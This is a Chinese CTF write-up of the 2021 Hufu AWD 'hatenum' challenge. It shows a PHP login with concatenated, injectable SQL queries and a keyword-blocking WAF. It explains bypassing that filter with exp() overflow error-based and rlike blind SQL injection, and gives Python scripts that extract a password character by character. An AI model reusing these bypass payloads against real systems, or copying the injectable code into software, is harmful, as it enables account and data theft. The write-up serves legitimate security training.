最近在玩ctf,然后打开了2021年虎符线下awd plus的真题,在这感谢奶权师傅等人的指导
https://www.freeaihub.com/post/110345.html
hatenum

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}

}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}
1
/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i

作者使用exp函数 Double型数据溢出对靶机进行绕过注入

select exp(709);
select exp(710);

当传递一个大于709的值时,函数exp()就会引起一个溢出错误,主要原因是Double类型 超出最大的储存范围
-w546

注入判断

1
2
and exp(709); //true
and exp(710); //flase

-w550

在没过滤前exp注入报错注入

1
select * from test where id=1 and exp(~(select * from(select user())a));
1
2
select exp(710-0) # 报错
select exp(710-1) # 不报错

无exp函数也可以进行盲注

1
2
select 17.218407461554972e307
select 18.218407461554972e307;

-w563

后面发现可以用rlike注入也可以

select * from user where id = 1 and username rlike 0x6164

此问作者使用payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string
pt = string.ascii_letters+string.digits+"$"
tmp = "^"

def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2,'0')
return ret

for ch in pt:
print(str2hex(tmp+ch))
payload = f"exp(710-(code rlike binary {str2hex(tmp+ch)}))#"
payload = payload.replace(' ',chr(0x0c))
print(payload)

0x5e61
exp(710-(code rlike binary 0x5e6b));

and exp(710-(username rlike binary 0x5e61));

下面exp,其实就是rlike,从左开始匹配然后,设置一个tmp,如果匹配到就往tmp前面追加值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import pymysql
import string
pt = string.ascii_letters+string.digits+"$"
rev_ans = ""
ans = ""
tmp = "^"
result = ""
db = pymysql.connect(host="127.0.0.1",
user="root",
password="root",
port=8889,# 端口
database="test",
charset='utf8')
def getsql(sql):
cursor = db.cursor()
try:
# 执行SQL语句
cursor.execute(sql)
results = cursor.fetchall()
for row in results:
return row
except:
return "Error: unable to fecth data"

def str2hex(raw):
ret = '0x'
for i in raw:
ret += hex(ord(i))[2:].rjust(2,'0')
return ret

if __name__ == "__main__":
# sql = """select * from user where id =1 and exp(710-(username rlike binary 0x5e61));"""
# getsql(sql)

for i in range(24):
for ch in pt:
#payload = f"||1 && username rlike 0x61646d && exp(710-(23-length(code)))#".replace(' ',chr(0x0c))
payload = f"select * from user where id = 1 and exp(710-(password rlike binary {str2hex(tmp+ch)})) limit 0,1"
#print(payload)

#payload = payload.replace(' ',chr(0x0c))
sql_result = getsql(payload)
if 'Error' not in sql_result:
result = result + ch
if len(tmp) == 3:
print(tmp)
tmp = tmp[1:]+ch
else:
tmp += ch
print(result)
break